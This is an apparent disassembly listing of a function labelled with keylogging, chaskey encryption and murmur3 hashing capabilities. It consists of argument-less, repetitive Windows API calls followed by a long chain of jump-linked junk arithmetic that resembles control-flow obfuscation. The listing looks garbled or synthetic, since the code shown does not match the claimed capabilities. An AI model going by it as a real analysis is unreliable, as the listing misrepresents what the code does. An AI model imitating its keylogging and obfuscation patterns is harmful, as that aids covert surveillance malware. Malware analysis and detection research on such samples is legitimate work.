Function at 0x401000
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Log keystrokes via polling

Disassembly:
call sub.user32.dll_GetClipboardOwner
cmp eax, 0xfffffeea
jne 0x40108e
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.user32.dll_GetKeyNameTextW
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.user32.dll_GetKeyNameTextW
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_ZwImpersonateThread
call sub.user32.dll_GetKeyNameTextW
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_ZwImpersonateThread
call sub.user32.dll_GetKeyNameTextW
ret
call sub.kernel32.dll_GetCurrentThread
cmp eax, 0xfffffef5
jne 0x401121
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_ZwImpersonateThread
call sub.user32.dll_GetKeyNameTextW
call sub.user32.dll_GetKeyNameTextW
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.user32.dll_GetKeyNameTextW
call sub.user32.dll_GetKeyNameTextW
call sub.user32.dll_GetKeyNameTextW
call sub.user32.dll_GetKeyNameTextW
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.user32.dll_GetKeyNameTextW
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_ZwImpersonateThread
call sub.user32.dll_GetKeyNameTextW
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.ntdll.dll_ZwImpersonateThread
call sub.user32.dll_GetKeyNameTextW
ret
call sub.user32.dll_GetClipboardOwner
cmp eax, 0xffffff24
jne 0x4011a0
call sub.user32.dll_GetKeyNameTextW
call sub.user32.dll_GetKeyNameTextW
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.ntdll.dll_ZwImpersonateThread
call sub.user32.dll_GetKeyNameTextW
call sub.user32.dll_GetKeyNameTextW
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.ntdll.dll_ZwImpersonateThread
call sub.user32.dll_GetKeyNameTextW
call sub.user32.dll_GetKeyNameTextW
call sub.user32.dll_GetKeyNameTextW
call sub.user32.dll_GetKeyNameTextW
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.user32.dll_GetKeyNameTextW
call sub.user32.dll_GetKeyNameTextW
ret
call sub.kernel32.dll_GetCurrentThread
cmp eax, 0xfffffef4
jne 0x401206
call sub.user32.dll_GetKeyNameTextW
call sub.user32.dll_GetKeyNameTextW
call sub.user32.dll_GetKeyNameTextW
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.user32.dll_GetKeyNameTextW
call sub.user32.dll_GetKeyNameTextW
call sub.ntdll.dll_ZwImpersonateThread
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.ntdll.dll_RtlDosPathNameToNtPathName_U
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
call sub.user32.dll_GetKeyNameTextW
call sub.ntdll.dll_RtlGetOwnerSecurityDescriptor
ret
jmp 0x4755ce
xchg edi, edx
dec ecx
jmp 0x476ad3
push esp
xor edi, ecx
inc ecx
bswap ecx
sub edi, 0x69887dfd
sub esi, edi
add ecx, 0x6989453f
and ecx, 0x6989ab1e
and ebx, 0x698a27cc
and esi, ecx
sub edi, 0x698ae86a
sub edi, esi
add esi, edi
jmp 0x477d18
call fcn.00476ab5
inc ebx
mov esi, 0x699009de
sub edi, ecx
add ebx, 0x6990d268
jmp 0x477df8
pop edx
and esi, edi
shl esi, 0x18
bswap ecx
or ecx, esi
xchg edi, ebx
xor ecx, edi
sub edi, esi
xchg ecx, esi
dec esi
add ebx, edi
rol edi, 0x18
xor ecx, 0x69b5b972
jmp 0x477da0
pop edx
bswap esi
xor ecx, esi
xchg ebx, esi
sub edi, ebx
or edi, 0x69bc5dc9
shl ecx, 0x14
or esi, 0x69bd2b40
mov edi, ecx
shr ecx, 0x17
mov ecx, esi
jmp 0x4773b4
pop edx
and ebx, edi
or esi, edi
xchg ecx, edi
add ebx, ecx
not esi
xchg esi, ecx
mov edi, 0x69cbaca8
neg edi
and ebx, ecx
jmp 0x47648d
mov edx, 0x2774562b
add edi, ecx
dec esi
inc edi
mov ebx, esi
sub ebx, ecx
or edi, esi
sub ebx, ecx
xor ebx, 0x69d50866
add esi, edi
mov edi, 0x69d5cea6
or esi, ecx
jmp 0x47698c
push 0x65c3e695
xor ebx, ecx
add ecx, esi
add ecx, 0x69dacf18
and ebx, esi
jmp 0x475974
call edx
xor esi, ecx
sub ebx, ecx
dec ecx
ror esi, 0x1c
dec esi
sub ebx, esi
ror edi, 0xd
sub esi, ecx
jmp 0x476816
push 0x65d2ede7
mov ebx, ecx
rol ebx, 0xf
xchg ebx, edi
not esi
neg esi
mov esi, ebx
xor esi, ebx
shl edi, 5
add edi, esi
jmp 0x477e23
push 0x65c43fbf
or esi, 0x69e9432b
sub esi, edi
or esi, 0x69ea0f80
sub ebx, ecx
or edi, esi
inc ecx
mov ecx, 0x69ebc593
shr ecx, 8
and ecx, 0x69ecab15
xor edi, 0x69ed1748
mov edi, esi
xor ecx, edi
jmp 0x476393
mov edx, 0x4132136a
mov ecx, ebx
or ecx, edi
and ecx, edi
mov esi, 0x69ef8ab6
or esi, ecx
xor edi, esi
add ebx, 0x69f22552
dec esi
sub ebx, esi
neg edi
rol ecx, 2
jmp 0x477201
push 0x65cf54e9
or ecx, ebx
xor ecx, 0x69f4bf6c
and esi, 0x69f523e4
or esi, 0x69f586e7
add edi, ecx
and esi, edi
neg ebx
jmp 0x475b5e
call edx
add esi, 0x69f7485c
or esi, ebx
jmp 0x476735
call edx
xor ecx, ebx
add ebx, edi
add ebx, esi
and ecx, ebx
mov ebx, esi
and ebx, ecx
mov ebx, ecx
neg ecx
jmp 0x477b93
pop edx
inc esi
add edi, ecx
or esi, ebx
xor esi, 0x69fcccc0
or edi, esi
bswap edi
mov esi, ecx
ror edi, 2
and edi, ecx
neg edi
mov edi, ecx
jmp 0x477778
push 0x65dd35c4
add esi, ecx
add ebx, esi
and ecx, edi
xor esi, ebx
shl ecx, 0x1d
add ecx, edi
xor edi, ecx
xor ebx, 0x6a0b3be3
sub ebx, edi
mov ebx, edi
xchg ebx, esi
or ebx, 0x6a0cc617
jmp 0x477bc4
push 0x65dc3c8c
xor ebx, 0x6a0d550e
sub ecx, edi
sub ecx, 0x6a0e1b5a
add edi, 0x6a0e7c7a
neg ebx
mov ecx, edi
dec ecx
and ebx, 0x6a1049f0
bswap esi
rol ebx, 0x19
sub ebx, ecx
add ebx, esi
and esi, edi
and ebx, edi
jmp 0x477436
pop edx
add edi, ecx
sub ecx, 0x6a138fb6
and esi, ebx
add edi, ebx
xchg ecx, edi
and edi, ecx
xor ebx, edi
ror ebx, 0x17
shr edi, 0xb
mov ebx, esi
xchg esi, ecx
jmp 0x476fa6
push 0x65cfa2d3
or esi, 0x6a259b70
mov edi, ecx
inc ebx
rol esi, 0x1d
xchg esi, edi
or esi, edi
or edi, esi
xchg ecx, edi
mov edi, ebx
xor ebx, esi
or ecx, ebx
jmp 0x47786e
call fcn.00476ab5
sub esi, ecx
dec ebx
rol ebx, 9
sub ebx, 0x6a2f5db0
xor esi, edi
jmp 0x475dae
call edx
xor ebx, esi
mov esi, edi
mov ecx, 0x6a312f70
xor ebx, edi
shl ebx, 3
inc ecx
add ecx, 0x6a330bac
xor esi, ecx
xchg ecx, ebx
and esi, edi
ror esi, 8
mov ebx, edi
rol edi, 2
jmp 0x4760a3
pop edx
xor edi, ecx
add ecx, 0x6a36654b
dec edi
or esi, ecx
neg edi
add edi, ecx
shr edi, 0x1c
xchg esi, ecx
sub ebx, 0x6a396e41
jmp 0x475f4e
push 0x65c39474
xor ecx, esi
mov esi, 0x6a46493b
or esi, ecx
xchg ecx, edi
jmp 0x4758e8
push 0x65c0b0dc
mov edi, 0x6a4cab87
xchg ecx, ebx
sub edi, esi
or esi, ebx
xchg esi, ecx
xor ebx, 0x6a4eae7c
not esi
jmp 0x476dda
push 0x65e89c1a
shr esi, 2
or ecx, esi
sub ecx, edi
jmp 0x477ec4
pop edx
shr edi, 5
dec ecx
mov edi, ecx
inc esi
or esi, edi
xor ecx, esi
inc ebx
sub ebx, esi
rol ebx, 6
jmp 0x476f21
call edx
add ecx, 0x6a6679e4
dec ebx
and edi, ebx
sub esi, 0x6a67c418
not edi
xor edi, esi
xor esi, ebx
xchg esi, ebx
jmp 0x47677b
mov edx, 0x123b2f04
mov esi, ebx
add edi, esi
sub esi, ebx
and edi, ebx
sub ebx, esi
xor ebx, ecx
add esi, edi
jmp 0x477e92
push 0x65c05b09
xchg edi, esi
add ebx, 0x6a72a9a2
or esi, 0x6a731c0b
or ecx, edi
jmp 0x475cab
call edx
inc ebx
ror ebx, 0x17
mov ecx, esi
and ecx, ebx
and ecx, 0x6a81dd9b
xor ebx, esi
inc ecx
sub edi, ebx
xor ecx, 0x6a837bd8
shr ebx, 0x12
jmp 0x477a82
push 0x65ce7e16
or ecx, 0x6a99ccfb
or ebx, 0x6a9a3442
rol ecx, 2
xchg esi, ecx
or ecx, 0x6a9b9dfa
dec ecx
jmp 0x476b1a
push 0x65d395f6
or ecx, edi
mov edi, 0x6aae8a36
ror ebx, 0x10
and esi, ebx
or edi, ecx
bswap esi
mov esi, ebx
xor ecx, edi
dec edi
jmp 0x477ac2
mov edx, 0x2774562b
or esi, 0x6ab1e23e
rol ebx, 0x1e
or ebx, 0x6ab2b23c
mov ebx, esi
sub ecx, edi
not ecx
add ebx, esi
jmp 0x47753b
pop edx
sub ebx, esi
or ecx, edi
xchg edi, ebx
inc edi
and ecx, 0x6ab99826
inc ecx
add ebx, esi
bswap edi
sub ebx, ecx
and ebx, edi
jmp loc.00475c07
pop edx
not edi
dec esi
dec ecx
xchg ebx, ecx
or ecx, esi
shl ecx, 0x10
xor edi, ebx
xor esi, ecx
sub ecx, edi
xor edi, ebx
shl ebx, 0x1b
jmp 0x477949
pop edx
rol edi, 0x1b
xor edi, esi
add esi, 0x6ac4d8d3
xchg ebx, ecx
mov edi, esi
dec ecx
rol ecx, 4
dec ecx
sub ecx, ebx
xchg edi, esi
xor ebx, esi
jmp 0x477a9e
pop edx
and edi, ecx
mov esi, ecx
sub ecx, esi
add ebx, ecx
shl ecx, 5
inc ebx
mov ebx, esi
inc esi
xchg ecx, ebx
jmp 0x47784c
pop edx
rol ebx, 0xd
sub edi, 0x6accd5b3
add ecx, edi
or edi, esi
mov edi, 0x6ace1187
mov esi, 0x6ace72d2
add esi, 0x6aceda52
xchg ebx, ecx
mov esi, ebx
sub esi, 0x6ad2160c
shl ecx, 8
not ecx
jmp 0x475a1a
push 0x65e7f79a
and esi, ecx
neg ebx
jmp 0x47695f
pop edx
sub ecx, 0x6ad9eab2
or ebx, ecx
mov ecx, esi
mov esi, ecx
mov esi, ebx
shl ebx, 0x1c
xor esi, 0x6adc4645
rol edi, 2
ror ecx, 0x1a
not ebx
jmp 0x475be7
pop edx
mov esi, ecx
rol edi, 0x18
bswap ebx
or esi, 0x6adf4355
bswap ecx
add edi, esi
or ecx, edi
mov ecx, 0x6ae0cced
and ebx, edi
jmp 0x477460
push 0x65cbeeb5
or esi, 0x6ae826f4
and ecx, edi
or ebx, 0x6ae902a3
dec edi
jmp 0x47712f
mov edx, 0x123b2f04
xchg esi, ebx
sub ecx, ebx
inc edi
or ebx, 0x6aeb2189
shl ecx, 0x14
and esi, ebx
rol ebx, 1
mov ecx, ebx
or edi, ecx
sub ebx, 0x6aed942c
and ebx, 0x6aedf927
add edi, 0x6aee5c61
jmp 0x476ffe
mov edx, 0x123b2f04
or ebx, 0x6aeee739
xchg esi, ecx
nop
and esi, ebx
or esi, ebx
or ecx, edi
xor ebx, esi
or esi, ecx
jmp 0x477d81
push 0x65cb9ea2
mov esi, ebx
and ecx, ebx
mov esi, 0x6b143338
dec ebx
xchg ecx, edi
xor ebx, ecx
mov esi, ebx
xor esi, 0x6b163ca5
jmp 0x4761d1
push 0x65c48a96
xchg ebx, edi
bswap edi
mov esi, ecx
inc ebx
add ecx, ebx
xor ebx, ecx
rol edi, 0xd
mov ecx, ebx
add ecx, esi
sub edi, esi
or ecx, 0x6b219690
jmp 0x477dda
push 0x65e5a155
or ecx, esi
add ebx, edi
and edi, ebx
add edi, 0x6b38c5e1
shr edi, 1
shl edi, 0x1c
xor ebx, 0x6b39fc9f
mov ebx, esi
mov edi, ebx
xor esi, edi
jmp 0x476c07
pop edx
xchg ebx, esi
xor ebx, ecx
mov ebx, 0x6b3cb27d
bswap ebx
and ebx, esi
mov esi, ecx
and ebx, edi
mov ecx, ebx
mov esi, 0x6b3f1ce6
rol edi, 0x1c
not ecx
or edi, ebx
xchg ebx, esi
or ecx, esi
add esi, ebx
jmp 0x4760df
call edx
mov esi, 0x6b59ae26
sub esi, 0x6b5a14c3
add esi, edi
mov esi, ebx
or edi, ecx
sub ebx, ecx
sub ecx, esi
and esi, ebx
and esi, ecx
or ecx, edi
inc esi
jmp 0x475864
mov edx, 0x123b2f04
add ecx, 0x6b5e289b
sub esi, ecx
ror edi, 4
and ebx, esi
and edi, 0x6b5ffd4f
dec ebx
or esi, 0x6b60c490
xor ecx, 0x6b612bdb
rol esi, 0x11
add edi, ecx
and ecx, edi
jmp 0x47679d
push 0x741ce
and ecx, ebx
xor ecx, esi
or edi, ebx
and edi, ebx
and esi, ecx
ror ebx, 0x1e
shr ebx, 0x11
add ebx, edi
jmp 0x477f5c
pop edx
sub ecx, 0x6b6ff429
xor edi, ecx
mov edi, ecx
xchg edi, esi
xor ecx, edi
xor edi, 0x6b71fac7
shr esi, 0x19
xchg ecx, edi
and ecx, ebx
jmp 0x475956
push 0x65c75cf6
inc ecx
or ecx, ebx
ror edi, 0x19
neg esi
bswap ebx
neg esi
shl ecx, 0x18
jmp 0x4758a5
pop edx
xor esi, ebx
sub edi, ebx
mov ecx, 0x6b8a83ba
or edi, 0x6b8af61a
add ecx, ebx
xor ebx, esi
add ebx, esi
xchg esi, ecx
ror ecx, 6
or ebx, esi
xor ecx, esi
jmp 0x476b6e
pop edx
shr ecx, 0x1f
xchg ecx, edi
mov edi, ecx
shr esi, 8
xchg ebx, esi
ror edi, 0xd
xor ecx, esi
ror ecx, 9
neg ecx
xchg ecx, ebx
xchg ecx, ebx
and esi, edi
jmp 0x475d49
call fcn.00476ab5
xor edi, ecx
or ecx, edi
inc ebx
xor esi, 0x6bc4b63a
mov edi, ecx
jmp 0x476ba6
mov edx, 0x123b2f04
xor ebx, ecx
and esi, ecx
add ecx, 0x6bcb2ae5
rol ebx, 0x1b
mov ecx, edi
shl ebx, 9
mov esi, 0x6bcbfeb5
mov edi, ebx
bswap esi
jmp 0x475648
pop edx
mov ecx, ebx
xor esi, 0x6bcceb4c
add ebx, esi
sub edi, ecx
bswap edi
add ebx, 0x6bcdc420
or ecx, edi
jmp 0x476bbc
pop edx
neg ecx
xor edi, 0x6bce7f5c
mov ecx, 0x6bcebf0a
jmp 0x4759a9
push 0x65dce6af
xor esi, ecx
or ecx, ebx
xchg edi, esi
xchg esi, ebx
mov edi, esi
neg edi
bswap esi
xor esi, 0x6bd08817
sub ecx, edi
inc esi
inc esi
dec ecx
jmp 0x475a78
push 0x40
add ecx, 0x6be137ff
neg edi
and ecx, 0x6be1acdb
mov edi, 0x6be1e3af
bswap edi
add ebx, esi
xchg ebx, ecx
xor esi, ecx
add esi, 0x6be2e9bd
and edi, 0x6be31c77
jmp 0x47662c
push 0x65e84251
inc edi
sub ecx, edi
mov ecx, 0x6be59eb0
xor esi, 0x6be5d5dd
inc ebx
xchg ebx, edi
and ecx, esi
and edi, esi
and ebx, edi
mov ebx, esi
add ecx, edi
jmp 0x475cca
call fcn.00476ab5
and esi, 0x6be9b0b7
sub edi, ecx
add ecx, edi
or esi, edi
or esi, ecx
mov esi, 0x6beab03f
inc ecx
mov edi, esi
add edi, 0x6beb5bc9
add edi, esi
mov esi, 0x6bebc0b4
or ecx, 0x6bebf75e
jmp 0x477735
push 0x65d9fc34
shr ebx, 0x1f
xor ecx, ebx
mov esi, edi
inc esi
mov ebx, esi
bswap edi
or ebx, edi
ror ecx, 0x1a
inc edi
and esi, ecx
sub edi, esi
dec ebx
jmp 0x4761ea
pop edx
sub esi, ecx
shl esi, 0x13
and esi, ecx
neg ecx
or esi, 0x6bf75599
xchg esi, edi
not ecx
add edi, esi
or ecx, 0x6bf850e0
or ecx, ebx
or esi, ecx
dec edi
jmp 0x476df8
push 0x65bff835
add esi, edi
or ebx, 0x6bff9ee5
and ecx, ebx
mov ecx, edi
sub edi, 0x6c0042c9
or esi, ebx
sub ecx, esi
ror esi, 0x1f
jmp 0x475e15
push 0x65cece05
sub ebx, 0x6c036b6f
neg edi
sub esi, edi
inc edi
dec ecx
rol ecx, 0x16
not esi
and ecx, 0x6c04e2c0
xor edi, 0x6c05221c
add ebx, edi
add ebx, ecx
or edi, 0x6c05bdf5
ror edi, 1
and ebx, 0x6c0626f6
bswap esi
jmp 0x4759d0
pop edx
neg ecx
sub ecx, edi
add esi, 0x6c07162e
and ecx, ebx
shl ecx, 7
add ecx, ebx
nop
jmp 0x477564
pop edx
xchg ebx, esi
inc ebx
or ecx, esi
or ecx, 0x6c08ef44
jmp 0x475785
call edx
mov ebx, esi
xor esi, ebx
xchg ecx, edi
shr ecx, 0xa
or esi, 0x6c0ced19
jmp 0x476073
push 0x65d95894
sub edi, ebx
ror ecx, 7
sub edi, ecx
and ecx, 0x6c0e2f8a
and edi, ecx
mov ebx, edi
sub ecx, esi
add esi, ebx
neg ebx
jmp 0x477e5e
mov edx, 0x2774562b
or ebx, 0x6c124fdf
and ecx, edi
bswap ebx
or ebx, 0x6c150d33
inc ebx
add ecx, edi
rol ebx, 0x16
mov edi, 0x6c169878
xor ebx, esi
jmp 0x476c2e
call fcn.00476ab5
or ecx, edi
inc esi
sub edi, esi
xchg ecx, edi
and esi, ebx
jmp 0x475bbd
pop edx
add edi, ecx
and ebx, esi
rol esi, 0x11
and esi, ecx
add edi, ebx
xchg edi, ecx
sub ecx, 0x6c360c6e
or ecx, esi
add ecx, ebx
xor esi, ecx
mov esi, ebx
sub ecx, 0x6c370aa7
jmp 0x476158
push 0x65c10137
xor edi, esi
or ecx, ebx
xor edi, ecx
jmp 0x475dfd
pop edx
ror ecx, 0x11
mov ebx, esi
xchg esi, ebx
mov esi, ecx
or ebx, 0x6c4541d2
xor ebx, edi
ror ebx, 1
ror ebx, 0xd
add esi, ebx
jmp 0x4770ba
push 0x65ebe36d
mov ecx, 0x6c476362
add esi, ebx
mov esi, ecx
or ebx, esi
add ebx, edi
add ebx, ecx
xor ecx, esi
xchg ecx, ebx
mov edi, ebx
jmp 0x4765a3
pop edx
sub esi, ecx
mov ecx, edi
xchg ebx, esi
inc esi
shl ebx, 0x1a
rol ecx, 0x1e
shr ecx, 2
and edi, ebx
jmp 0x476e17
pop edx
add esi, 0x6c5940b9
xchg ebx, edi
xchg ebx, ecx
sub edi, 0x6c59df76
inc esi
or ebx, 0x6c5a5585
sub edi, ebx
rol esi, 0x1c
inc esi
or edi, 0x6c5b2937
add esi, edi
ror esi, 0x13
rol edi, 0xb
jmp 0x4760bf
pop edx
and ebx, 0x6c60d7ed
sub esi, edi
and ecx, 0x6c613f8c
add ecx, edi
xchg esi, ebx
or esi, 0x6c620bda
bswap edi
xchg edi, esi
sub esi, ebx
xchg ecx, edi
jmp 0x477978
call fcn.00476ab5
xor ecx, edi
sub ebx, 0x6c6573a6
or ecx, esi
xor edi, esi
sub ecx, esi
jmp 0x475e7b
pop edx
neg esi
add ebx, edi
sub ecx, edi
neg esi
xchg ecx, ebx
xchg ebx, edi
xchg esi, ecx
xor ebx, edi
xor ecx, esi
or ebx, edi
or ecx, ebx
jmp 0x476a4a
mov edx, 0x2774562b
dec ecx
sub ecx, 0x6c705b09
add ebx, ecx
or ecx, 0x6c70c0c7
bswap ebx
and edi, ebx
jmp 0x477756
pop edx
mov esi, 0x6c717aa7
or ebx, ecx
neg esi
xchg esi, ebx
xor esi, 0x6c725c86
xor ebx, 0x6c7292d0
and esi, ecx
neg ecx
jmp 0x476eb2
push 0x65cc4324
add ecx, esi
add ecx, edi
add ebx, esi
sub ebx, edi
sub ecx, esi
and edi, 0x6c7a0e69
and edi, 0x6c7a447b
sub esi, edi
jmp 0x476029
call fcn.00476ab5
and esi, edi
shr esi, 0x17
sub ecx, esi
ror ecx, 6
add ecx, 0x6c8787bc
sub edi, ecx
xchg esi, ecx
rol esi, 0xc
bswap ecx
add esi, 0x6c889bff
jmp 0x4755fb
call edx
not edi
or ecx, ebx
neg ebx
mov ecx, esi
not edi
xor esi, 0x6c9466cc
and edi, 0x6c949dca
shr ebx, 7
xor ebx, ecx
sub esi, 0x6c95477f
xor ebx, esi
add ebx, edi
xchg esi, ebx
sub ebx, 0x6c961240
jmp 0x4757ce
push 0x65e79f55
not ecx
and ebx, ecx
bswap ebx
inc edi
add esi, ebx
or esi, ecx
or esi, 0x6ca128cc
add ebx, ecx
dec ebx
or ecx, esi
add ebx, ecx
neg ecx
jmp 0x476128
pop edx
dec esi
or ebx, 0x6ca2b6fd
and edi, esi
or ecx, ebx
xor ebx, edi
xchg ecx, ebx
add edi, esi
jmp 0x47617d
push 0x65dc92d6
or esi, ebx
bswap esi
sub edi, 0x6cac7788
shl ebx, 9
mov ebx, esi
mov ebx, ecx
or ebx, esi
mov ecx, ebx
shr esi, 0x13
or esi, ecx
add esi, edi
sub edi, esi
mov esi, ebx
jmp 0x476845
pop edx
mov esi, ebx
add esi, ecx
xor esi, 0x6cb18a93
ror esi, 0x1e
or ebx, esi
dec edi
and esi, ecx
xor ecx, ebx
sub ecx, esi
or edi, ecx
add edi, ecx
add esi, ebx
and ebx, esi
sub esi, edi
jmp 0x475c6c
call fcn.00476ab5
add ebx, esi
add ebx, esi
bswap ebx
and ebx, ecx
mov ebx, esi
mov ebx, esi
rol esi, 0xc
or esi, ecx
shr ecx, 0x17
and ebx, ecx
and ebx, ecx
shl ebx, 7
or ebx, esi
xchg esi, ecx
jmp 0x4778e4
pop edx
add edi, ecx
shl ebx, 0x19
xor ecx, ebx
add ecx, 0x6cc6510a
sub ecx, 0x6cc690b6
xor esi, edi
rol ebx, 0x14
add ecx, esi
and ecx, edi
mov esi, 0x6cc79407
xor ecx, edi
jmp 0x475aa3
pop edx
and esi, 0x6ce09e49
rol edi, 0x1a
xchg ebx, ecx
neg esi
mov ebx, ecx
xor ebx, ecx
rol esi, 0xc
shl ebx, 0xa
xor edi, ecx
sub ebx, edi
jmp 0x476333
call edx
or esi, 0x6ce2ca92
mov ecx, esi
sub esi, 0x6ce37d6c
not ebx
inc edi
or ecx, esi
add edi, ebx
rol ebx, 0x1a
bswap ebx
jmp 0x4760f6
call fcn.00476ab5
xchg ebx, ecx
xchg edi, ebx
xor esi, edi
or ebx, esi
xchg ecx, esi
or esi, ecx
or ebx, 0x6ce65798
and ecx, 0x6ce68a01
jmp 0x478000
push 0x65c9525d
add esi, ecx
dec ebx
rol esi, 5
sub edi, 0x6ce77e90
xor esi, 0x6ce7b51a
not ecx
xor esi, ebx
dec ecx
sub ebx, 0x6ce88b4d
jmp 0x477cf3
pop edx
or ecx, ebx
xor ebx, edi
not esi
mov ebx, ecx
xor edi, ebx
and ebx, ecx
dec ecx
or ecx, edi
and ebx, ecx
not edi
bswap ecx
shr ecx, 6
add ecx, ebx
sub edi, ecx
jmp 0x476648
push 0x65cff633
inc esi
sub edi, esi
or ecx, edi
add ebx, edi
and ebx, esi
not esi
add ebx, edi
mov ecx, ebx
xchg ebx, ecx
xchg ebx, ecx
jmp 0x477c07
call edx
sub edi, ebx
mov edi, esi
sub edi, ebx
mov esi, edi
mov edi, esi
mov ecx, edi
and ecx, esi
jmp 0x476d61
call fcn.00476ab5
xchg ebx, edi
ror ebx, 0xa
and ebx, 0x6d011ca2
not ebx
add ecx, esi
or edi, ebx
sub edi, ecx
and esi, 0x6d02214d
and esi, ecx
jmp 0x4759f4
pop edx
xor ecx, 0x6d053a89
dec ecx
dec edi
and edi, esi
sub esi, edi
neg ecx
bswap edi
xor ebx, ecx
xor ecx, edi
mov esi, 0x6d0723f8
mov ebx, 0x6d0757b4
xor esi, ebx
not esi
mov edi, esi
ror edi, 0x1f
neg ecx
jmp 0x477390
pop edx
and ebx, 0x6d08a896
add ebx, edi
and ecx, edi
sub ecx, esi
inc esi
rol ebx, 0x19
neg esi
not edi
shl esi, 7
sub esi, edi
jmp 0x476832
push 0x65e54c52
and edi, esi
ror edi, 1
and edi, esi
jmp 0x476465
pop edx
sub ebx, ecx
xor ebx, 0x6d195cc9
xchg ecx, esi
mov ecx, ebx
and edi, esi
and edi, 0x6d1a344b
and edi, ecx
jmp 0x476b56
push 0x65c70d7e
mov esi, ecx
or esi, ebx
and esi, ebx
xor ecx, 0x6d1b48d1
sub edi, esi
sub ecx, edi
add ebx, ecx
or ebx, 0x6d1c2098
xor edi, esi
jmp 0x4766eb
push 0x65d3e266
sub ecx, 0x6d1ca140
inc ebx
sub edi, ecx
bswap ecx
add esi, ebx
add edi, ebx
mov edi, esi
or ecx, edi
mov edi, esi
sub esi, 0x6d1e7892
xchg ebx, ecx
and ebx, edi
xchg esi, edi
sub esi, ebx
or ecx, edi
jmp 0x47709d
pop edx
sub edi, 0x6d29c13d
or ecx, 0x6d29f454
add ebx, edi
xor ebx, esi
add ebx, 0x6d2a9a2b
shl ebx, 0x1d
sub ecx, ebx
xor esi, 0x6d2b384b
mov edi, 0x6d2b6fc9
sub ebx, esi
rol ebx, 0x1c
jmp 0x477714
mov edx, 0x2774562b
inc esi
add ecx, ebx
xchg ebx, edi
or edi, 0x6d2e2d16
shr edi, 4
jmp 0x4778f9
mov edx, 0x123b2f04
rol edi, 0x1d
dec edi
xchg ebx, edi
shr edi, 0x1d
or ecx, ebx
inc esi
and edi, ebx
neg edi
and ecx, ebx
and esi, ecx
mov ecx, esi
jmp 0x477c84
call fcn.00476ab5
and esi, 0x6d450f0a
and edi, esi
mov ecx, edi
shl ecx, 0xd
or edi, esi
shl ebx, 0xf
add esi, ecx
not edi
and ebx, ecx
jmp 0x476580
push 0x65c9ab61
sub esi, 0x6d515c12
not esi
xor edi, esi
inc ebx
xor ecx, 0x6d534c18
sub ebx, edi
or ebx, edi
and ecx, esi
add esi, edi
add ebx, esi
jmp 0x47621d
push esp
and ebx, ecx
or edi, ebx
neg esi
mov edi, 0x6d58dd84
or ebx, edi
sub esi, 0x6d59c36b
and ebx, 0x6d5a248f
or edi, ebx
sub esi, ebx
xor ecx, edi
add edi, ecx
add ebx, 0x6d5c2be8
mov ebx, edi
jmp 0x476917
call fcn.00476ab5
inc edi
add ebx, edi
xchg ebx, edi
mov ecx, 0x6d645dfa
xor ebx, esi
shr edi, 9
or ecx, esi
xor edi, esi
not ecx
jmp 0x475a03
pop edx
shr edi, 0x12
and ebx, esi
sub ecx, esi
xchg edi, ebx
xor ebx, 0x6d6a6653
sub edi, esi
sub ebx, ecx
jmp 0x477a2a
mov edx, 0x2774562b
xor esi, ecx
neg esi
or ebx, edi
not ebx
xchg esi, ebx
mov ecx, edi
and edi, esi
xor ebx, ecx
mov esi, ecx
add ebx, esi
jmp 0x475ba5
call edx
add edi, 0x6d744abc
or ebx, ecx
and edi, 0x6d75456a
xchg ebx, ecx
shl edi, 0xa
ror ecx, 0x13
mov ebx, edi
xor ebx, ecx
sub edi, ebx
rol esi, 0xd
or ebx, esi
shr ebx, 0x10
jmp 0x47704e
push 0x65d33c82
add ecx, esi
or ebx, 0x6d7a10c5
add ecx, esi
not ecx
rol ecx, 1
xchg ecx, ebx
and ecx, edi
and ecx, 0x6d7cacc2
